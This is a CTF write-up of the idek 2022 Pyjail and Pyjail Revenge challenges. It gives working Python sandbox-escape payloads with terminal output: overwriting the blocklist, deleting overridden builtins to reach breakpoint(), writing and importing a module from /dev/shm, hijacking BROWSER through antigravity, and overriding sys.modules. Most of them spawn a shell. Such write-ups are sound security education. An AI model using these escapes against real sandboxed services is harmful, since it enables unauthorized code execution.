# idek 2022* CTF Pyjail && Pyjail Revenge Writeup
## Pyjail:
The code looks like this
```python
blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
```
There is a blocklist ban off ``'.' , '\\', '[', ']', '{', '}', ':'``. Then there is a `DISABLE_FUNCTIONS` that registers None objects for ``'getattr', 'eval', 'exec', 'breakpoint', 'lambda', 'help'`` and overrides the corresponding functions in `__builtins__`. Also, the file name is `jail.py`, and the one in docker is also jail, so you can use `__import__('jail')`, but you may have to type it twice, so it's better to use `__import__(__main__)`.
Also flag sets permission not to read directly and then gives a readflag, called with the argument `/readflag giveflag`
Also, this question can be executed in multiple lines, so you can do something like emptying the blocklist as follows
```python
welcome!
>>> setattr(__import__('__main__'),'blocklist','')
None
>>> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
jail.py readflag.c
$ ls /
bin ctf etc home lib media opt readflag run srv tmp var
boot dev flag kctf lib64 mnt proc root sbin sys usr
$ /readflag giveflag
idek{9eece9b4de9380bc3a41777a8884c185}
```
There is of course a second version that uses `__import__('jail')` to load, but it seems to have to be exploited twice
```python
welcome!
>>> setattr(__import__('jail'),'blocklist','')
welcome!
>>> setattr(__import__('jail'),'blocklist','')
None
>>> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{9eece9b4de9380bc3a41777a8884c185}
```
## Pyjail Revenge:
Not solved during the game Repeated after the game
The difference between the Revenge version and the normal version is that blocklist adds `blocklist`, `globals` and `compile`
```python
blocklist = ['.' , '\\', '[', ']', '{', '}', ':', "blocklist", "globals", "compile"]
```
You can only enter one line at a time, not multiple times, so the previous solution does not work at the moment. However, the following versions can be tried
### Method 1 remove overlay:
`DISABLE_FUNCTIONS` registers the None objects of ``"getattr", "eval", "exec", "breakpoint", "lambda", "help"`` and overrides the corresponding functions in its `__builtins__`, so just delete the overridden global variables OK
The global variable can pass `globals()`, `vars()`, `locals()`, etc. Of course, it can also bypass the blocklist in the form of unicode, such as `globals`, so that the function in `DISABLE_FUNCTIONS` can be deleted and then called.
For example, first use `setattr` to cover `__dict__` of some useless classes with `globals()`, `vars()`, `locals()`, then `delete` those `ISABLE_FUNCTIONS` through delattr, and then call
For example:
`vars()`, `locals()` can be used
Override copyright and call the breakpoint function
```python
welcome!
>>> setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
welcome!
>>> setattr(copyright,'__dict__',vars()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
welcome!
>>> setattr(copyright,'__dict__',locals()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
```
Override the license to call the breakpoint function
```python=
welcome!
>>> setattr(license,'__dict__',globals()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
welcome!
>>> setattr(license,'__dict__',vars()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
welcome!
>>> setattr(license,'__dict__',locals()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
```
The parameters related to coverage can be found in these:
https://github.com/python/cpython/blob/c5660ae96f2ab5732c68c301ce9a63009f432d93/Lib/site.py#L400-L426
`quit,copyright,exit,license,credits`
Of course, because of this version, he is such a startup parameter
```dockerfile
ENTRYPOINT socat \
TCP-LISTEN:1337,reuseaddr,fork,end-close \
EXEC:"./jail.py",pty,ctty,stderr,raw,echo=0
```
So you can also delete help() and then use help() to rce again, but the remote environment may have some restrictions that may cause /tmp to disappear, /tmp is unreadable, but it can work locally
```python
welcome!
>>> setattr(license,'__dict__',locals()),delattr(license,'help'),help()
Welcome to Python 3.8's help utility!
If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.8/tutorial/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".
help> os
[Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/home/user']
```
### Method 2 Modify sys.path, write the file and then import:
It consists of the following parts
1. Overwrite the property of `sys.path` through setattr, covering it as writable `/dev/shm`
2. Then pass the file parameter of the print function https://blog.csdn.net/no_giveup/article/details/72017925, and then use open to open and write.`.` will be Replaced with `chr(46)`
3. Use `__import__` to load the written file name, and then execute the code
which are respectively
1. `setattr(__import__("sys"), "path", list(("/dev/shm/",)))`
2. `print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w"))`
3. `__import__("exp")`
final payload:
```python
(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp"))
```
result:
```python
welcome!
>>> (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp"))
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
0
(None, None, <module 'lol' from '/dev/shm/exp.py'>)
```
Of course, it should be caused by environmental problems. The /tmp of the remote environment is read-only, but it should be writable. If the above path is writable in tmp, the relevant payload can also be completed.
### Method 3 antigravity hijacks the BROWSER environment variable:
And antigravity can be seen from here https://towardsdatascience.com/7-easter-eggs-in-python-7765dc15a203
This solution comes from the author's expected solution. This question is very interesting. Use setattr to overwrite the environment variable BROWSER in os.environ so that it can be executed. Track it
https://github.com/python/cpython/blob/main/Lib/antigravity.py
```python
import webbrowser
import hashlib
webbrowser.open("https://xkcd.com/353/")
def geohash(latitude, longitude, datedow):
'''Compute geohash() using the Munroe algorithm.
>>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')
37.857713 -122.544543
'''
# https://xkcd.com/426/
h = hashlib.md5(datedow, usedforsecurity=False).hexdigest()
p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]
print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))
```
Found that it called `webbrowser`, continue to track
You can see from here that there is `register_standard_browsers` in the open function
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L84
```python
def open(url, new=0, autoraise=True):
"""Display url using the default browser.
If possible, open url in a location determined by new.
- 0: the same browser window (the default).
- 1: a new browser window.
- 2: a new browser page ("tab").
If possible, autoraise raises the window (the default) or not.
"""
if _tryorder is None:
with _lock:
if _tryorder is None:
register_standard_browsers()
for name in _tryorder:
browser = get(name)
if browser.open(url, new, autoraise):
return True
return False
```
Continue to track `register_standard_browsers` to find that it checks the `BROWSER` environment variable in `os.environ`
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L585
```python
if "BROWSER" in os.environ:
userchoices = os.environ["BROWSER"].split(os.pathsep)
userchoices.reverse()
# Treat choices in same way as if passed into get() but do register
# and prepend to _tryorder
for cmdline in userchoices:
if cmdline != '':
cmd = _synthesize(cmdline, preferred=True)
if cmd[1] is None:
register(cmdline, None, GenericBrowser(cmdline), preferred=True)
```
Where `GenericBrowser` can run `cmdline`
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L181
```python
class GenericBrowser(BaseBrowser):
"""Class for all browsers started with a command
and without remote functionality."""
def __init__(self, name):
if isinstance(name, str):
self.name = name
self.args = ["%s"]
else:
# name should be a list with arguments
self.name = name[0]
self.args = name[1:]
self.basename = os.path.basename(self.name)
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
cmdline = [self.name] + [arg.replace("%s", url)
for arg in self.args]
try:
if sys.platform[:3] == 'win':
p = subprocess.Popen(cmdline)
else:
p = subprocess.Popen(cmdline, close_fds=True)
return not p.wait()
except OSError:
return False
```
final exp:
```python
__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))
```
#### Method 4 Let `__import__` load getattr to take effect by restoring sys.modules:
Since `__import__` will first look for `sys.modules` https://github.com/python/cpython/blob/48ec678287a3be1539823fa3fc0ef457ece7e1c6/Lib/importlib/_bootstrap.py#L1101 when loading, you can first override `sys.modules` by `setattr` `__builtins__`, so that `__import__` can call `getattr`. Through `getattr`, `os.system` can be loaded. Since it is banned, you can use `__import__('os'), 'system'`, and then pass the parameter `'sh'`.
```python
setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')
```
### end
Thanks to lrh2000,UnblvR,maple3142 help for this article